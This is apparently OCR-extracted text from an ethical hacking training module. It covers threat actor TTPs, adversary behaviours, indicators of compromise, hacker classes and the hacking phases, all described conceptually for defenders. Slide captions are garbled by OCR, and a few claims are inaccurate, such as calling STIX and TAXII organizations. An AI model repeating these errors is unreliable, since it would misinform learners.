“Procedures” are organizational approaches that threat actors follow to launch an attack
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Tactics, Techniques, and Procedures (TTPs)

The terms “tactics, techniques, and procedures” refer to the patterns of activities and methods
associated with specific threat actors or groups of threat actors. TTPs are helpful in analyzing
threats and profiling threat actors and can further be used to strengthen the security
infrastructure of an organization. The word “tactics” is defined as a guideline that describes the
way an attacker performs their attack from beginning to end. The word “techniques” is defined
as the technical methods used by an attacker to achieve intermediate results during their
attack. Finally, the word “procedures” is defined as the organizational approach followed by the
threat actors to launch their attack. In order to understand and defend against the threat
actors, it is important to understand the TTPs used by adversaries. Understanding the tactics of
an attacker helps to predict and detect evolving threats in the early stages. Understanding the
techniques used by attackers helps to identify vulnerabilities and implement defensive
measures in advance. Lastly, analyzing the procedures used by the attackers helps to identify
what the attacker is looking for within the target organization’s infrastructure.

Organizations should understand TTPs to protect their network against threat actors and
upcoming attacks. TTPs enable the organizations to stop attacks at the initial stage, thereby
protecting the network against massive damages.

= Tactics

Tactics describe the way the threat actor operates during different phases of an attack.
It consists of the various tactics used to gather information for the initial exploitation,
perform privilege escalation and lateral movement, and deploy measures for
persistence access to the system. Generally, APT groups depend on a certain set of
unchanging tactics, but in some cases, they adapt to different circumstances and alter
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the way they perform their attacks. Therefore, the difficulty of detecting and attributing
the attack campaign depends on the tactics used to perform the attack.

For example, to obtain information, some threat actors depend solely on information
available on the Internet, whereas others might perform social engineering or use
connections in intermediate organizations. Once information such as the email
addresses of employees of the target organization is gathered, the threat actors either
choose to approach the target one by one or as a group. Furthermore, the attackers’
designed payload can stay constant from the beginning to the end of the attack or may
be changed based on the targeted individual. Therefore, to understand the threat actors
better, tactics used in the early stages of an attack must be analyzed properly.

Techniques

To launch an attack successfully, threat actors use several techniques during its
execution. These techniques include initial exploitation, setting up and maintaining
command and control channels, accessing the target infrastructure, and covering the
tracks of data exfiltration. The techniques followed by the threat actor to conduct an
attack might vary, but they are mostly similar and can be used for profiling. Therefore,
understanding the techniques used in the different phases of an attack is essential to
analyzing the threat groups effectively.

Procedures

“Procedures” involve a sequence of actions performed by the threat actors to execute
different steps of an attack life cycle. The number of actions usually differs depending
upon the objectives of the procedure and the APT group. An advanced threat actor uses
advanced procedures that consist of more actions than a normal procedure to achieve
the same intermediate result. This is done mainly to increase the success rate of an
attack and decrease the probability of detection by security mechanisms.

An understanding and proper analysis of the procedures followed by certain threat
actors during an attack helps organizations profile threat actors. In the initial stage of an
attack, such as during information gathering, observing the procedure of an APT group is
difficult. However, the later stages of an attack can leave trails that may be used to
understand the procedures the attacker followed.
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Adversary Behavioral Identification

U Adversary behavioral identification involves the identification of the common methods or techniques
followed by an adversary to launch attacks on or to penetrate an organization’s network

O It gives the security professionals insight into upcoming threats and exploits

Adversary Behaviors

@ Internal Reconnaissance Use of Command-Line Interface @ Use of DNS Tunneling
“5  Use of PowerShell HTTP User Agent (Jd  Use of Web Shell
Unspecified Proxy Activities @ Command and Control Server Data Staging
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Adversary Behavioral Identification

Adversary behavioral identification involves the identification of the common methods or
techniques followed by an adversary to launch attacks to penetrate an organization’s network.
It gives security professionals insight into upcoming threats and exploits. It helps them plan
network security infrastructure and adapt a range of security procedures as prevention against
various cyberattacks.

Given below are some of the behaviors of an adversary that can be used to enhance the
detection capabilities of security devices:

= Internal Reconnaissance

Once the adversary is inside the target network, they follow various techniques and
methods to carry out internal reconnaissance. This includes the enumeration of
systems, hosts, processes, the execution of various commands to find out information
such as the local user context and system configuration, hostname, IP addresses, active
remote systems, and programs running on the target systems. Security professionals
can monitor the activities of an adversary by checking for unusual commands executed
in the Batch scripts and PowerShell and by using packet capturing tools.

= Use of PowerShell

PowerShell can be used by an adversary as a tool for automating data exfiltration and
launching further attacks. To identify the misuse of PowerShell in the network, security
professionals can check PowerShell’s transcript logs or Windows Event logs. The user
agent string and IP addresses can also be used to identify malicious hosts who try to
exfiltrate data.
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= Unspecified Proxy Activities

An adversary can create and configure multiple domains pointing to the same host,
thus, allowing an adversary to switch quickly between the domains to avoid detection.
Security professionals can find unspecified domains by checking the data feeds that are
generated by those domains. Using this data feed, the security professionals can also
find any malicious files downloaded and the unsolicited communication with the outside
network based on the domains.

= Use of Command-Line Interface

On gaining access to the target system, an adversary can make use of the command-line
interface to interact with the target system, browse the files, read file content, modify
file content, create new accounts, connect to the remote system, and download and
install malicious code. Security professionals can identify this behavior of an adversary
by checking the logs for process ID, processes having arbitrary letters and numbers, and
malicious files downloaded from the Internet.

= HTTP User Agent

In HTTP-based communication, the server identifies the connected HTTP client using the
user agent field. An adversary modifies the content of the HTTP user agent field to
communicate with the compromised system and to carry further attacks. Therefore,
security professionals can identify this attack at an initial stage by checking the content
of the user agent field.

= Command and Control Server

Adversaries use command and control servers to communicate remotely with
compromised systems through an encrypted session. Using this encrypted channel, the
adversary can steal data, delete data, and launch further attacks. Security professionals
can detect compromised hosts or networks by identifying the presence of a command
and control server by tracking network traffic for outbound connection attempts,
unwanted open ports, and other anomalies.

= Use of DNS Tunneling

Adversaries use DNS tunneling to obfuscate malicious traffic in the legitimate traffic
carried by common protocols used in the network. Using DNS tunneling, an adversary
can also communicate with the command and control server, bypass security controls,
and perform data exfiltration. Security professionals can identify DNS tunneling by
analyzing malicious DNS requests, DNS payload, unspecified domains, and the
destination of DNS requests.

= Use of Web Shell

An adversary uses a web shell to manipulate the web server by creating a shell within a
website; it allows an adversary to gain remote access to the functionalities of a server.
Using a web shell, an adversary performs various tasks such as data exfiltration, file
transfers, and file uploads. Security professionals can identify the web shell running in
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the network by analyzing server access, error logs, suspicious strings that indicate
encoding, user agent strings, and through other methods.

= Data Staging

After successful penetration into a target’s network, the adversary uses data staging
techniques to collect and combine as much data as possible. The types of data collected
by an adversary include sensitive data about the employees and customers, the
business tactics of an organization, financial information, and network infrastructure
information. Once collected, the adversary can either exfiltrate or destroy the data.
Security professionals can detect data staging by monitoring network traffic for
malicious file transfers, file integrity monitoring, and event logs.
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e, e ) Indicators of Compromise
o (IoCs)

Indicators of Compromise (loCs) are the clues, artifacts,
and pieces of forensic data found on the network or
operating system of an organization that indicate a
potential intrusion or malicious activity in the
organization’s infrastructure

loCs act as a good source of information regarding the
threats that serve as data points in the intelligence
process

Security professionals need to perform continuous
monitoring of 10Cs to effectively and efficiently detect
and respond to evolving cyber threats
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Indicators of Compromise (IoCs)

Cyber threats are continuously evolving with the newer TTPs adapted based on the
vulnerabilities of the target organization. Security professionals must perform continuous
monitoring of 10Cs to effectively and efficiently detect and respond to evolving cyber threats.
Indicators of Compromise are the clues, artifacts, and pieces of forensic data that are found on
a network or operating system of an organization that indicate a potential intrusion or
malicious activity in the organization’s infrastructure.

However, loCs are not intelligence; rather, loCs act as a good source of information about
threats that serve as data points in the intelligence process. Actionable threat intelligence
extracted from loCs helps organizations enhance incident-handling strategies. Cybersecurity
professionals use various automated tools to monitor loCs to detect and prevent various
security breaches to the organization. Monitoring loCs also helps security teams enhance the
security controls and policies of the organization to detect and block suspicious traffic to thwart
further attacks. To overcome the threats associated with loCs, some organizations like STIX and
TAXII have developed standardized reports that contain condensed data related to attacks and
shared it with others to leverage the incident response.

An loC is an atomic indicator, computed indicator, or behavioral indicator. It is the information
regarding suspicious or malicious activities that is collected from various security
establishments in a network’s infrastructure. Atomic indicators are those that cannot be
segmented into smaller parts, and whose meaning is not changed in the context of an intrusion.
Examples of atomic indicators are IP addresses and email addresses. Computed indicators are
obtained from the data extracted from a security incident. Examples of computed indicators are
hash values and regular expressions. Behavioral indicators refer to a grouping of both atomic
and computed indicators, combined on the basis of some logic.
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Categories of Indicators of Compromise

Understanding loCs helps security professionals to quickly detect the threats against the organization
and protect the organization from evolving threats

For this purpose, |0Cs are divided into four categories:

b 4 2

Email Indicators Network Indicators Host-Based Indicators Behavioral Indicators

= Used to send malicious Useful for command and Found by performing an = Used to identify specific
data to the target control, malware delivery, analysis of the infected behavior related to

organization or individual identifying the operating system within the malicious activities

system, and other tasks organizational network
Examples include the Examples include document
sender’s email address, Examples include URLs, Examples include filenames, executing PowerShell script,
email subject, and domain names, and IP file hashes, registry keys, and remote command
attachments or links addresses DLLs, and mutex execution
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Categories of Indicators of Compromise

The cybersecurity professionals must have proper knowledge about various possible threat
actors and their tactics related to cyber threats, mostly called Indicators of Compromise (loCs).
This understanding of 10Cs helps security professionals quickly detect the threats entering the
organization and protect the organization from evolving threats. For this purpose, loCs are
divided into four categories:

=  Email Indicators

Attackers usually prefer email services to send malicious data to the target organization
or individual. Such socially engineered emails are preferred due to their ease of use and
comparative anonymity. Examples of email indicators include the sender’s email
address, email subject, and attachments or links.

= Network Indicators

Network indicators are useful for command and control, malware delivery, and
identifying details about the operating system, browser type, and other computer-
specific information. Examples of network indicators include URLs, domain names, and
IP addresses.

= Host-Based Indicators

Host-based indicators are found by performing an analysis of the infected system within
the organizational network. Examples of host-based indicators include filenames, file
hashes, registry keys, DLLs, and mutex.
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= Behavioral Indicators

Generally, typical 1oCs are useful for identifying indications of intrusion, such as
malicious IP addresses, virus signatures, MD5 hash, and domain names. Behavioral loCs
are used to identify specific behavior related to malicious activities such as code
injection into the memory or running the scripts of an application. Well-defined
behaviors enable broad protection to block all current and future malicious activities.
These indicators are useful to identify when legitimate system services are used for
abnormal or unexpected activities. Examples of behavioral indicators include document
executing PowerShell script, and remote command execution.

Listed below are some of the key Indicators of Compromise (loCs):
=  Unusual outbound network traffic
= Unusual activity through a privileged user account
= |llegitimate files and software
= Geographical anomalies
= Multiple login failures
® Increased database read volume
= Large HTML response size
= Multiple requests for the same file
= Mismatched port-application traffic
= Unusual usage of ports and protocols
= Suspicious registry or system file changes
= Unusual DNS requests
= Malicious emails
= Unexpected patching of systems
= Signs of Distributed Denial-of-Service (DDoS) activity
= Service interruption and the defacement
= Bundles of data in the wrong places
= Web traffic with superhuman behavior
= Adrastic increase in bandwidth usage

=  Malicious hardware
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Discuss Hacking Concepts and Hacker Classes

You need to learn the basic hacking concepts to understand the attacker’s perspective in
hacking attempts. This section helps you in understanding the behavior of a hacker. This section
deals with basic concepts of hacking: what is hacking, who is a hacker, and different hacker
classes.
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What is Hacking?

Hacking refers to exploiting It involves modifying Hacking can be used to
system vulnerabilities and system or application steal and redistribute
compromising security features to achieve a goal intellectual property,
controls to gain unauthorized outside of the creator’s leading to business loss
or inappropriate access to a original purpose

system’s resources
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What is Hacking?

Hacking in the field of computer security refers to exploiting system vulnerabilities and
compromising security controls to gain unauthorized or inappropriate access to system
resources. It involves a modifying system or application features to achieve a goal outside its
creator’s original purpose. Hacking can be done to steal, pilfer, or redistribute intellectual
property, thus leading to business loss.

Hacking on computer networks is generally done using scripts or other network programming.
Network hacking techniques include creating viruses and worms, performing denial-of-service
(DoS) attacks, establishing unauthorized remote access connections to a device using Trojans or
backdoors, creating botnets, packet sniffing, phishing, and password cracking. The motive
behind hacking could be to steal critical information or services, for thrill, intellectual challenge,
curiosity, experiment, knowledge, financial gain, prestige, power, peer recognition, vengeance,
and vindictiveness, among other reasons.
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Who is a Hacker?

An intelligent individual with For some hackers, hacking is a
excellent computer skills who hobby to see how many

can create and explore computer computers or networks they
software and hardware can compromise

<

66

Some hackers’ intentions can Some hack with malicious intent such as to
either be to gain knowledge steal business data, credit card information,

or to probe and do illegal social security numbers, email passwords,
things and other sensitive data ,,
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Who is a Hacker?

A hacker is a person who breaks into a system or network without authorization to destroy,
steal sensitive data, or perform malicious attacks. A hacker is an intelligent individual with
excellent computer skills, along with the ability to create and explore the computer’s software
and hardware. Usually, a hacker is a skilled engineer or programmer with enough knowledge to
discover vulnerabilities in a target system. They generally have subject expertise and enjoy
learning the details of various programming languages and computer systems. Though hacking
into a system or network is considered a technical skill, it was gradually defined as malicious
activities performed to gain illegal access to systems or networks.

For some hackers, hacking is a hobby to see how many computers or networks they can
compromise. Their intention can either be to gain knowledge or to poke around to do illegal
things. Some hack with malicious intent behind their escapades, like stealing business data,
credit card information, social security numbers, and email passwords.
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Black Hats

Individuals with
extraordinary
computing

skills; they
resort to
malicious or
destructive
activities and
are also known
as crackers

Hacker Classes/Threat Actors
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Gray Hats

&

White Hats

Individuals who
use their
professed
hacking skills
for defensive
purposes and
are also known
as security
analysts

Individuals who
work both
offensively and
defensively at
various times

e

Suicide Script
Hackers Kiddies

An unskilled
hacker who
compromises a

Individuals who
aim to bring
down the critical
infrastructure for
a "cause" and
are not worried
about facing jail
terms or any
other kind of
punishment

system by
running scripts,
tools, and
software that
were developed
by real hackers
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Hacker Classes/Threat Actors (Cont’d)

Individuals with a wide range of skills who are motivated by religious
or political beliefs to create the fear through the large-scale
disruption of computer networks

Cyber Terrorists

Individuals employed by the government to penetrate and gain
top-secret information from, and damage the information systems
of other governments

State-Sponsored
Hackers

Individuals who promote a political agenda by hacking, especially

Hacktivist
by using hacking to deface or disable website

A consortium of skilled hackers having their own resources and
funding. They work together in synergy for researching the state-of-
the-art technologies

Hacker Teams

Individuals who perform corporate espionage by illegally spying on
competitor organizations and focus on stealing information such as
blueprints and formulas

Industrial Spies
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. T e

'FI-I‘ackter‘ Classes/Threat Aﬁofis (C'i:mt"“d_)g

Insider Criminal Syndicates Organized Hackers
Any employee (trusted person) who Groups of individuals that are Miscreants or hardened
has access to critical assets of an involved in organized, planned, criminals who use rented
organization. They use privileged and prolonged criminal activities. devices or botnets to perform
access to violate rules or They illegally embezzle money by various cyber-attacks to pilfer
intentionally cause harm to the performing sophisticated cyber- money from victims
organization’s information system attacks
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Hacker Classes/Threat Actors
Hackers usually fall into one of the following categories, according to their activities:

= Black Hats: Black hats are individuals who use their extraordinary computing skills for
illegal or malicious purposes. This category of hacker is often involved in criminal
activities. They are also known as crackers.

= White Hats: White hats or penetration testers are individuals who use their hacking
skills for defensive purposes. These days, almost every organization has security analysts
who are knowledgeable about hacking countermeasures, which can secure its network
and information systems against malicious attacks. They have permission from the
system owner.

= Gray Hats: Gray hats are the individuals who work both offensively and defensively at
various times. Gray hats might help hackers to find various vulnerabilities in a system or
network and, at the same time, help vendors to improve products (software or
hardware) by checking limitations and making them more secure.

= Suicide Hackers: Suicide hackers are individuals who aim to bring down critical
infrastructure for a “cause” and are not worried about facing jail terms or any other kind
of punishment. Suicide hackers are similar to suicide bombers who sacrifice their life for
an attack and are thus not concerned with the consequences of their actions.

=  Script Kiddies: Script kiddies are unskilled hackers who compromise systems by running
scripts, tools, and software developed by real hackers. They usually focus on the
qguantity, rather than the quality, of the attacks that they initiate. They do not have a
specific target or goal in performing the attack and simply aim to gain popularity or
prove their technical skills.
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= Cyber Terrorists: Cyber terrorists are individuals with a wide range of skills who are
motivated by religious or political beliefs to create the fear of large-scale disruption of
computer networks.

= State-Sponsored Hackers: State-sponsored hackers are skilled individuals having
expertise in hacking and are employed by the government to penetrate, gain top-secret
information from, and damage the information systems of other government or military
organizations. The main aim of these threat actors is to detect vulnerabilities in and
exploit a nation’s infrastructure and gather intelligence or sensitive information.

= Hacktivist: Hacktivism is a form of activism in which hackers break into government or
corporate computer systems as an act of protest. Hacktivists use hacking to increase
awareness of their social or political agendas, as well as to boost their own reputations
in both online and offline arenas. They promote a political agenda especially by using
hacking to deface or disable websites. In some incidents, hacktivists may also obtain and
reveal confidential information to the public. Common hacktivist targets include
government agencies, financial institutions, multinational corporations, and any other
entity that they perceive as a threat. Irrespective of hacktivists’ intentions, the gaining
of unauthorized access is a crime.

= Hacker Teams: A hacker team is a consortium of skilled hackers having their own
resources and funding. They work together in synergy for researching state-of-the-art
technologies. These threat actors can also detect vulnerabilities, develop advanced
tools, and execute attacks with proper planning.

= |ndustrial Spies: Industrial spies are individuals who perform corporate espionage by
illegally spying on competitor organizations. They focus on stealing critical information
such as blueprints, formulas, product designs, and trade secrets. These threat actors use
advanced persistent threats (APTs) to penetrate a network and can also stay undetected
for years. In some cases, they may use social engineering techniques to steal sensitive
information such as development plans and marketing strategies of the target company,
which can result in financial loss to that company.

= Insiders: An insider is any employee (trusted person) who has access to critical assets of
an organization. An insider threat involves the use of privileged access to violate rules or
intentionally cause harm to the organization’s information or information systems.
Insiders can easily bypass security rules, corrupt valuable resources, and access sensitive
information. Generally, insider threats arise from disgruntled employees, terminated
employees, and undertrained staff members.

= Criminal Syndicates: Criminal syndicates are groups of individuals or communities that
are involved in organized, planned, and prolonged criminal activities. They exploit
victims from distinct jurisdictions on the Internet, making them difficult to locate. The
main aim of these threat actors is to illegally embezzle money by performing
sophisticated cyber-attacks and money-laundering activities.

= Organized Hackers: Organized hackers are a group of hackers working together in
criminal activities. Such groups are well organized in a hierarchical structure consisting
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of leaders and workers. The group can also have multiple layers of management. These
hackers are miscreants or hardened criminals who do not use their own devices; rather,
they use rented devices or botnets and crimeware services to perform various cyber-
attacks to pilfer money from victims and sell their information to the highest bidder.
They can also swindle intellectual property, trade secrets, and marketing plans; covertly
penetrate the target network; and remain undetected for long periods.
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Understand Cyber Kill
Chain Methodology

E—
Understand Different Phases of Hacking Cycle

Presently, organizations are giving top priority to cybersecurity as cyberattacks have the
potential to damage their brand equity or reputation. Therefore, organizations are recruiting
cybersecurity professionals to curb the ever-evolving threats from security breaches. It is
important for such security professionals to gain knowledge on various hacking phases, which
will help them in analyzing and strengthening the security posture of the organization from
various cyber threats. This section discusses the different phases of the hacking cycle.

Hacking Phases
In general, there are five phases of hacking:
= Reconnaissance
= Scanning
= Gaining Access
= Maintaining Access

= (Clearing Tracks
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Hacking Phase: Reconnaissance

O Reconnaissance refers to the preparatory phase
where an attacker seeks to gather information
about a target prior to launching an attack

Reconnaissance Types

@ ©®

Passive Reconnaissance Active Reconnaissance
= Involves acquiring information = Involves directly interacting
without directly interacting with the target by any means

with the target
= For example, telephone calls
= For example, searching public to the target’s help desk or
records or news releases technical department

Copyright © by EC-Gouncil. All Rights Reserved. Reproductionis Strictly Prohibited.
Hacking Phase: Reconnaissance

Reconnaissance refers to the preparatory phase in which an attacker gathers as much
information as possible about the target prior to launching the attack. In this phase, the
attacker draws on competitive intelligence to learn more about the target. It could be the
future point of return, noted for ease of entry for an attack when more about the target is
known on a broad scale. The reconnaissance target range may include the target organization’s
clients, employees, operations, network, and systems.

This phase allows attackers to plan the attack. It may take some time as the attacker gathers as
much information as possible. Part of this reconnaissance may involve social engineering. A
social engineer is a person who convinces people to reveal information such as unlisted phone
numbers, passwords, and other sensitive information. For instance, the hacker could call the
target’s Internet service provider and, using personal information previously obtained, convince
the customer service representative that the hacker is actually the target, and in doing so,
obtain even more information about the target.

Another reconnaissance technique is dumpster diving. Dumpster diving is, simply enough,
looking through an organization’s trash for any discarded sensitive information. Attackers can
use the Internet to obtain information such as employees’ contact information, business
partners, technologies currently in use, and other critical business knowledge. Dumpster diving
may even provide attackers with even more sensitive information, such as usernames,
passwords, credit card statements, bank statements, ATM receipts, Social Security numbers,
private telephone numbers, checking account numbers, or other sensitive data.

Searching for the target company’s web site in the Internet’s Whois database can easily provide
hackers with the company’s IP addresses, domain names, and contact information.
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Reconnaissance Types
Reconnaissance techniques are broadly categorized into active and passive.

When an attacker is using passive reconnaissance techniques, they do not interact with the
target directly. Instead, the attacker relies on publicly available information, news releases, or
other no-contact methods.

Active reconnaissance techniques, on the other hand, involve direct interactions with the target
system by using tools to detect open ports, accessible hosts, router locations, network
mapping, details of operating systems, and applications. Attackers use active reconnaissance
when there is a low probability of the detection of these activities. For example, they may make
telephone calls to the help desk or technical department.

As a security professional, it is important to be able to distinguish among the various
reconnaissance methods and advocate preventive measures in the light of potential threats.
Companies, on their part, must address security as an integral part of their business and
operational strategies, and be equipped with the proper policies and procedures to check for
potential vulnerabilities.
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Hacking Phase: Scanning

m Scanning refers to the pre-attack phase when the attacker scans the network for specific information
based on information gathered during reconnaissance
Scanning can include the use of dialers, port scanners, network mappers, ping tools, and vulnerability
scanners

Attackers extract information such as live machines, port, port status, OS details, device type, and
system uptime to launch attack

Sends
TCP/IP probes - @
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Gets network — —
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Hacking Phase: Scanning

Scanning is the phase immediately preceding the attack. Here, the attacker uses the details
gathered during reconnaissance to scan the network for specific information. Scanning is a
logical extension of active reconnaissance, and in fact, some experts do not differentiate
scanning from active reconnaissance. There is a slight difference, however, in that scanning
involves more in-depth probing on the part of the attacker. Often the reconnaissance and
scanning phases overlap, and it is not always possible to separate the two. An attacker can
gather critical network information such as the mapping of systems, routers, and firewalls by
using simple tools such as the standard Windows utility Traceroute.

Scanning can include the use of dialers, port scanners, network mappers, ping tools,
vulnerability scanners, or other tools. Attackers extract information such as live machines, port,
port status, OS details, device type, and system uptime to launch an attack.

Port scanners detect listening ports to find information about the nature of services running on
the target machine. The primary defense technique against port scanners is shutting down
services that are not required and implementing appropriate port filtering. However, attackers
can still use tools to determine the rules implemented by the port filtering.

The most commonly used tools are vulnerability scanners, which can search for thousands of
known vulnerabilities on a target network. This gives the attacker an advantage because he or
she only has to find a single means of entry, while the systems professional has to secure as
much vulnerability as possible by applying patches. Organizations that use intrusion detection
systems still have to remain vigilant because attackers can and will use evasion techniques
wherever possible.
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Figure 2.2: Illustration network scanning
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Gaining access refers to the
point where the attacker
obtains access to the operating
system or applications on the
target computer or network

02

The attacker can gain access
at the operating system,
application, or network

03

The attacker can escalate
privileges to obtain
complete control of the
system

04

Examples include password
cracking, buffer overflows,
denial of service, and
session hijacking

levels
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Hacking Phase: Gaining Access

This is the phase in which real hacking occurs. Attackers use vulnerabilities identified during the
reconnaissance and scanning phases to gain access to the target system and network. Gaining
access refers to the point where the attacker obtains access to the operating system or to
applications on the computer or network. The attacker can gain access to the operating system,
application, or network level. Even though attackers can cause plenty of damage without
gaining any access to the system, the impact of unauthorized access is catastrophic. For
instance, external denial-of-service attacks can either exhaust resources or stop services from
running on the target system. Ending processes can stop a service, using a logic bomb or time
bomb, or even reconfigure and crash the system. Furthermore, attackers can exhaust system
and network resources by consuming all outgoing communication links.

Attackers gain access to the target system locally (offline), over a LAN, or the Internet. Examples
include password cracking, stack-based buffer overflows, denial-of-service, and session
hijacking. Using a technique called spoofing to exploit the system by pretending to be a
legitimate user or different system, attackers can send a data packet containing a bug to the
target system in order to exploit a vulnerability. Packet flooding also breaks the availability of
essential services. Smurf attacks attempt to cause users on a network to flood each other with
data, making it appear as if everyone is attacking each other, and leaving the hacker
anonymous.

A hacker’s chances of gaining access to a target system depend on several factors such as the
architecture and configuration of the target system, the skill level of the perpetrator, and the
initial level of access obtained. Once an attacker gains access to the target system, they then try
to escalate privileges in order to take complete control. In the process, they also compromise
the intermediate systems that are connected to it.
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Hacking Phase: Maintaining Access

Maintaining access refers to the phase when the attacker tries
to retain their ownership of the system

Attackers may prevent the system from being owned by other
attackers by securing their exclusive access with backdoors,
rootkits, or Trojans

Attackers can upload, download, or manipulate data,
applications, and configurations on the owned system

Attackers use the compromised system to launch further attacks

® 0
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Hacking Phase: Maintaining Access

Maintaining access refers to the phase when the attacker tries to retain his or her ownership of
the system. Once an attacker gains access to the target system with admin or root-level
privileges (thus owning the system), they can use both the system and its resources at will. The
attacker can either use the system as a launchpad to scan and exploit other systems or to keep
a low profile and continue their exploitation. Both of these actions can cause a great amount of
damage. For instance, the hacker could implement a sniffer to capture all network traffic,
including Telnet and FTP (file transfer protocol) sessions with other systems, and then transmit
that data wherever they please.

Attackers who choose to remain undetected remove evidence of their entry and install a
backdoor or a Trojan to gain repeat access. They can also install rootkits at the kernel level to
gain full administrative access to the target computer. Rootkits gain access at the operating
system level, while Trojans gain access at the application level. Both rootkits and Trojans
require users to install them locally. In Windows systems, most Trojans install themselves as a
service and run as part of the local system with administrative access.

Attackers can upload, download, or manipulate data, applications, and configurations on the
owned system and can also use Trojans to transfer usernames, passwords, and any other
information stored on the system. They can maintain control over the system for a long time by
closing up vulnerabilities to prevent other hackers from taking control of them, and sometimes,
in the process, render some degree of protection to the system from other attacks. Attackers
use the compromised system to launch further attacks.
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o 1 Clearing tracks refers to the activities carried out by an
attacker to hide malicious acts

The attacker’s intentions include obtaining continuing
2 access to the victim’s system, remaining unnoticed and
0 uncaught, and deleting evidence that might lead to their
prosecution

03 The attacker overwrites the server, system, and
application logs to avoid suspicion

Attackers always cover their tracks to hide their identity
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Hacking Phase: Clearing Tracks

For obvious reasons, such as avoiding legal trouble and maintaining access, attackers will
usually attempt to erase all evidence of their actions. Clearing tracks refers to the activities
carried out by an attacker to hide malicious acts. The attacker’s intentions include continuing
access to the victim’s system, remaining unnoticed and uncaught, and deleting evidence that
might lead to their own prosecution. They use utilities such as PsTools
(https://docs.microsoft.com), Netcat, or Trojans to erase their footprints from the system’s log
files. Once the Trojans are in place, the attacker has most likely gained total control of the
system and can execute scripts in the Trojan or rootkit to replace the critical system and log
files to hide their presence in the system. Attackers always cover their tracks to hide their
identity.

Other techniques include steganography and tunneling. Steganography is the process of hiding
data in other data, for instance, in image and sound files. Tunneling takes advantage of the
transmission protocol by carrying one protocol over another. Attackers can use even a small
amount of extra space in the data packet’s TCP and IP headers to hide information. An attacker
can use the compromised system to launch new attacks against other systems or as a means of
reaching another system on the network undetected. Thus, this phase of the attack can turn
into another attack’s reconnaissance phase. System administrators can deploy host-based IDS
(intrusion detection systems) and antivirus software in order to detect Trojans and other
seemingly compromised files and directories. A security professional must be aware of the tools
and techniques that attackers deploy so that they can advocate and implement the
countermeasures detailed in subsequent modules.
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Discuss Ethical Hacking Concepts, Scope, and Limitations

An ethical hacker follows processes similar to those of a malicious hacker. The steps to gain and
maintain access to a computer system are similar irrespective of the hacker’s intentions.

This section provides an overview of ethical hacking, why ethical hacking is necessary, the scope
and limitations of ethical hacking, and the skills of an ethical hacker.
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What is Ethical Hacking?

Ethical hacking is the practice of employing computer and network skills in order to assist
organizations in testing their network security for possible loopholes and vulnerabilities. White
Hats (also known as security analysts or ethical hackers) are the individuals or experts who
perform ethical hacking. Nowadays, most organizations (such as private companies,
universities, and government organizations) are hiring White Hats to assist them in enhancing
their cybersecurity. They perform hacking in ethical ways, with the permission of the network
or system owner and without the intention to cause harm. Ethical hackers report all
vulnerabilities to the system and network owner for remediation, thereby increasing the
security of an organization’s information system. Ethical hacking involves the use of hacking
tools, tricks, and techniques typically used by an attacker to verify the existence of exploitable
vulnerabilities in system security.

Today, the term hacking is closely associated with illegal and unethical activities. There is
continuing debate as to whether hacking can be ethical or not, given the fact that unauthorized
access to any system is a crime. Consider the following definitions:

= The noun “hacker” refers to a person who enjoys learning the details of computer
systems and stretching their capabilities.

= The verb “to hack” describes the rapid development of new programs or the reverse
engineering of existing software to make it better or more efficient in new and
innovative ways.

= The terms “cracker” and “attacker” refer to persons who employ their hacking skills for
offensive purposes.
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= The term “ethical hacker” refers to security professionals who employ their hacking
skills for defensive purposes.

Most companies employ IT professionals to audit their systems for known vulnerabilities.
Although this is a beneficial practice, crackers are usually more interested in using newer,
lesser-known vulnerabilities, and so these by-the-numbers system audits do not suffice. A
company needs someone who can think like a cracker, keep up with the newest vulnerabilities
and exploits, and recognize potential vulnerabilities where others cannot. This is the role of the
ethical hacker.

Ethical hackers usually employ the same tools and techniques as hackers, with the important
exception that they do not damage the system. They evaluate system security, update the
administrators regarding any discovered vulnerabilities, and recommend procedures for
patching those vulnerabilities.

The important distinction between ethical hackers and crackers is consent. Crackers attempt to
gain unauthorized access to systems, while ethical hackers are always completely open and
transparent about what they are doing and how they are doing it. Ethical hacking is, therefore,
always legal.
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Why Ethical Hacking is Necessary

To beat a hacker, you need to think like one!

O

I
v

To uncover vulnerabilities in systems and
explore their potential as a security risk

Ethical hacking is necessary as it allows for counter attacks against malicious hackers through anticipating
the methods used to break into the system

Reasons why organizations recruit ethical hackers

To provide adequate preventive measures
in order to avoid security breaches

To prevent hackers from gaining access
to the organization’s information systems

O
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To help safeguard customer data

To analyze and strengthen an organization’s

To enhance security awareness at all o%
security posture

levels in a business VAW

[ 26 ]
[

Copyright © by EC-Council. All Rights Reserved. Reproduction s Strictly Prohibited.

Why Ethical Hacking is Necessary (Cont’d)

Ethical Hackers Try to Answer the Following Questions

1 2 3 4

What can an intruder
see on the target
system?
(Reconnaissance and
Scanning phases)

4

Are all components of
the information
system adequately
protected, updated,
and patched?

What can an intruder
do with that
information? (Gaining
Access and
Maintaining Access
phases)

5

How much time,
effort, and money are
required to obtain
adequate protection?

Why Ethical Hacking is Necessary

Does anyone at the
target organization
notice the intruders’
attempts or successes?
(Reconnaissance and
Covering Tracks

phases)
6

|
Are the information
security measures in
compliance with legal

and industry
standards? 0

’.
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As technology is growing at a faster pace, so is the growth in the risks associated with it. To
beat a hacker, it is necessary to think like one!

Ethical hacking is necessary as it allows to counter attacks from malicious hackers by
anticipating methods used by them to break into a system. Ethical hacking helps to predict
various possible vulnerabilities well in advance and rectify them without incurring any kind of
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outside attack. As hacking involves creative thinking, vulnerability testing, and security audits
alone cannot ensure that the network is secure. To achieve security, organizations must
implement a “defense-in-depth” strategy by penetrating their networks to estimate and expose
vulnerabilities.

Reasons why organizations recruit ethical hackers
= To prevent hackers from gaining access to the organization’s information systems
= To uncover vulnerabilities in systems and explore their potential as a risk

= To analyze and strengthen an organization’s security posture, including policies,
network protection infrastructure, and end-user practices

= To provide adequate preventive measures in order to avoid security breaches
=  To help safeguard the customer data
= To enhance security awareness at all levels in a business

An ethical hacker’s evaluation of a client’s information system security seeks to answer three
basic questions:

1. What can an attacker see on the target system?

Normal security checks by system administrators will often overlook vulnerabilities. The
ethical hacker has to think about what an attacker might see during the reconnaissance
and scanning phases of an attack.

2. What can an intruder do with that information?

The ethical hacker must discern the intent and purpose behind attacks to determine
appropriate countermeasures. During the gaining-access and maintaining-access phases
of an attack, the ethical hacker needs to be one step ahead of the hacker in order to
provide adequate protection.

3. Are the attackers’ attempts being noticed on the target systems?

Sometimes attackers will try to breach a system for days, weeks, or even months. Other
times they will gain access but will wait before doing anything damaging. Instead, they will
take the time to assess the potential use of exposed information. During the
